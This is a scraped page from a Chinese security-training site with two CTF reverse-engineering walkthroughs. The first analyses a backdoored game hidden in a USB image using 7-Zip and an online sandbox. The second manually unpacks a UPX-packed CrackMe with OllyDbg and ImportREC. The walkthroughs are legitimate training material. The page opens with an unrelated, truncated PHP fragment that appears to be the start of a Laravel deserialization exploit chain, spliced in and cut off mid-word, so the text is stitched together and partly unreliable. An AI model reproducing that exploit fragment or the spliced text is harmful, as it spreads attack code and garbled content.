<?php namespace Illuminate\Broadcasting{ use Illuminate\Contracts\Events\Dispatcher; class PendingBroadcast { protected $event; protected $events; public function __construct($events, $event) { $this->event = $event; $this->events = $events; } } } namespace Illuminate\Bus{ class Dispatcher { protect
想了解更多关于CTF的技能?加入网安实验室,1300+网安技能任你学!
CTF REVERSE练习之病毒分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
首先介绍两个知识点,在后面的实验中运用到的。
1、7Zip
7-Zip 是一款开源软件。我们可以在任何一台计算机上使用 7-Zip ,包括用在商业用途的计算机。7-Zip 适用于 Windows 7 / Vista / XP / 2008 / 2003 / 2000 / NT / ME / 98。并且有面向 Mac OS X、Linux、Unix 平台的命令行版本。
7zip使用起来十分方便,通过添加的右键菜单,可以尝试对任意文件进行解压缩操作。7zip支持的文件格式十分丰富,其中压缩包括:7z, XZ, BZIP2, GZIP, TAR, ZIP and WIM等格式,解压缩包括:ARJ, CAB, CHM, CPIO, CramFS, DEB, DMG, FAT, HFS, ISO, LZH, LZMA, MBR, MSI, NSIS, NTFS, RAR, RPM, SquashFS, UDF, VHD, WIM, XAR, Z等格式。
在一些CTF逆向分析的题目中,我们可以尝试使用7zip对其进行解压缩操作,可能就会有意想不到的效果,可以大大加快我们的分析过程。
2、在线沙箱
网上有许多公开的在线沙箱,使用这些沙箱提供的服务,我们可以方便的观察一个程序的详细行为报告,进而判断一个程序大致的内部逻辑。
在线沙箱通常用于大致判定一个程序的行为是否安全,在逆向分析中,我们可以通过提交一个文件给沙箱程序来判断程序内部的大致逻辑,通过对沙箱报告的分析,有时候可以有效加快我们的逆向分析进程。
本文涉及知识点实操练习: https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410071600001
题目描述:
某日,一小学生弄了个U盘到打印店打印文件,U盘往计算机上一插,发现机子死机了,高明的打印店老板为了防止此类事件,特意设置了霸王键,可一键备份,随后老板把U盘备份了交给小王,小王想要知道U盘里到底被感染了什么你能帮帮他吗?
主机C:\Reverse\8目录下提供了这个UP_BOOT.img文件,请对该文件进行逆向分析,找到题目过关的Flag。
我们先来看这个病毒进行一个病毒特征分析
病毒程序是一个IMG文件,这种文件不是可执行文件,因此无法直接运行。我们使用7zip打开这个文件,看看里面是不是附加了什么东西。选中UP_BOOT.img文件后,单击鼠标右键,在弹出的右键菜单中选择“7Zip”——“Open archive”,如图所示:
打开文件后我们发现里面有两个文件,将其解压出来:
我们发现一个autorun.inf文件,文件内容为:
“你真厉害都到这了,看看这个游戏你肯定会喜欢的,但是据说这个游戏是被加了后门的,找到后门操作的文件的内容,取文件内容的16位md5值作为key!祝你好运.......”
提示游戏“是男人你就下100层.exe”被加了后门,双击运行程序,发现弹出了一个游戏,游戏还是很难玩的,如下图所示:
继续进行分析,再次尝试使用7Zip打开“是男人你就下100层.exe”这个文件,我们发现里面有三个文件,分别为1.vbs、1.exe、2.exe,如下图所示:
拿到这些东西,之后怎么办呢。这就可以用到我们之前讲的在线沙箱。
运行释放的1.exe文件,除了一个一闪而过的黑框之外,我们看不到任何其他行为。现在我们需要使用在线沙箱分析来加快我们的分析流程,看看1.exe都有哪些行为特征。
打开在线沙箱分析平台,一般需要你注册一个账号并激活,点击“分析文件”上传1.exe进行分析,等待一段时间就可以看到分析报告了。
从分析报告中我们可以看出,1.exe释放了一个test.txt文件到当前目录,而且把test.txt的文件属性设置为系统和隐藏,因此我们看不到文件夹里面多了一个txt文件。
现在使用记事本打开这个test.txt文件,文件内容为(WdubQ4IGEzAG54NfATJTNhI4TLIvPvENyTLLWb3YCNBeK5wad5XCgrSQNOih1F),如图所示:
这就是我们所要找的文件,使用MD5计算工具,算出这个字符串的16位MD5值,为ba3c34ec7cd9c086,这就是我们要找的flag了,如图所示:
逆向真好玩,就是有点掉头发,最近的实验已经是一山更比一山高了,不仅仅是实验内容,而且还有不少工具需要了解。了解工具才能更好的做实验,解决问题!
这个技术你学会了吗?加入网安实验室,1300+网安技能任你学!
CTF REVERSE练习之脱壳分析
你是否正在收集各类网安网安知识学习,蚁景网安实验室为你总结了1300+网安技能任你学,https://www.yijinglab.com/loginLab.do#stu>>
今天要介绍脱壳分析的实验。壳,在自然界中,植物用壳来保护种子,动物用壳来保护身体等。同样,在一些计算机软件里也有一段专门负责保护软件不被非法修改或反编译的程序。他们附加在原程序上通过Windows加载器载入内存后,先于原始程序的执行,得到控制权,执行过程中对原始程序进行解密和还原操作,还原后再把控制权交给原始程序,执行原来的代码部分。加上外壳后,原始程序代码在磁盘文件中一般是以加密后的形式存在的,只在执行时在内存中还原,这样就可以比较有效地防止破解者对程序文件的非法修改,同时也可防止程序被静态反编译。由于这段程序和自然界的壳在功能上有很多相同的地方,基于命名的规则,就把这样的程序称为“壳”了。
那加了壳,我们是不是就不能直接逆向了呢?
对的,而且壳分了好几种, 按照壳的功能特性,壳可以划分为压缩壳和加密壳,压缩壳侧重于压缩体积,加密壳侧重于加密,二者的出发点是不一样的。常见的压缩壳有upx、ASPack等,常见的加密壳有ASProtect、Armadillo等。不同的壳脱壳需要不同的操作才能脱掉。
先进入实验链接https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014111410053900001。
题目描述:
主机C:\Reverse\6目录下有一个CrackMe6.exe程序,这个程序是使用upx程序加过壳的,请尝试对其进行手工脱壳,并编写详细的分析报告。要求脱壳后的程序可以正常运行。
现在开始操作首先 运行C:\Reverse\6\CrackMe6.exe程序,提示需要对该程序进行脱壳处理,程序的运行界面如下图所示:
他说是upx壳,会不会是骗我们的,有没有什么判断壳的软件呢?
当然有,之前不是说了PEID程序吗,他不仅可以判断有没有加壳,甚至还可以判断是什么类型的壳,使用PEiD载入程序,查看CrackMe6.exe被加了什么壳,PEiD的主界面显示如下图所示:
提示信息为“UPX 0.89.6 - 1.02 / 1.05 - 1.24 -> Markus & Laszlo”,可以初步断定程序被加过UPX壳了。
下面尝试使用IDA对这个加了壳的程序进行分析,IDA弹出这样一个警告提示,如图所示:
通常弹出这样的提示都意味着程序经过了加壳处理,这时候最好不要直接使用IDA去进行分析,因为加壳后的程序很难通过IDA的静态分析来理解程序的内部执行逻辑。
这时候呢我们还是用OD来脱壳,使用OD载入CrackMe6.exe程序,OD的反汇编窗口停留在一条pushad指令上面,我们按下F8单步跟踪到下一条指令,然后在右侧的寄存器窗口中选中ESP寄存器(可以看到ESP寄存器的值为0012FFA4),并单击鼠标右键,在弹出的右键菜单中选择“数据窗口中跟随”,如图所示:
在反汇编指令窗口下面的数据窗口中,选择0012FFA4开始的四个字节,并单击鼠标右键,在弹出的右键菜单中依次选择“断点”——“硬件访问”——“Dword”菜单项,如图所示:
接下来按下F9运行程序,程序运行一段时间后OD将自动断下,这时候我们先删除之前设置的硬件断点,依次选择菜单项中的“调试”——“硬件断点”,删除我们设置的硬件断点,如图所示:
现在按F7进行单步跟踪,直到运行到0043FD24这一条指令,当然这里有一个循环比较麻烦,我们可以直接在0043FD24按下F4即可(F4代表运行到光标所在行),然后再次F7单步跟踪,来到004094F8。
0043FD17 8D4424 80 lea eax, dword ptr [esp-80]
0043FD1B 6A 00 push 0
0043FD1D 39C4 cmp esp, eax
0043FD1F ^ 75 FA jnz short 0043FD1B
0043FD21 83EC 80 sub esp, -80
0043FD24 - E9 CF97FCFF jmp 004094F8
现在在反汇编指令窗口中单击鼠标右键,选择“Dump debugged process”菜单项,在弹出的OllyDump窗口选择“Dump”按钮保存文件,注意记住这里的94F8,这是程序的入口点信息。我们将程序保存为dumped.exe,如图所示:
继续实验现在打开桌面上的ImportREC程序,首先在进程列表中选择C:\Reverse\6\crackme6.exe,然后在OEP中填入94F8(也就是在OD中找到的一个信息),然后点击“IAT AutoSearch”按钮,接着点击“GetImports”按钮,就可以看到程序的输入表信息了。
点击右侧的“Show Invalid”按钮,看看是否存在无效的输入表项目。无效的输入表项目前面带有问号(?),如果有可以使用右键菜单删除。这里没有无效的输入表项目,所以选择“Fix Dump”按钮,对我们的dumped.exe进行修复,得到dumped_.exe程序。
现在对程序的脱壳以及修复操作已经全部完成,使用PEiD对dumped.exe程序查壳,可以看到提示“Microsoft Visual C++ 6.0”信息,dumped.exe程序也可以正常运行,至此脱壳完成。
如果看完这一篇还不过瘾的话可以去实验室做实验继续学习哦。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

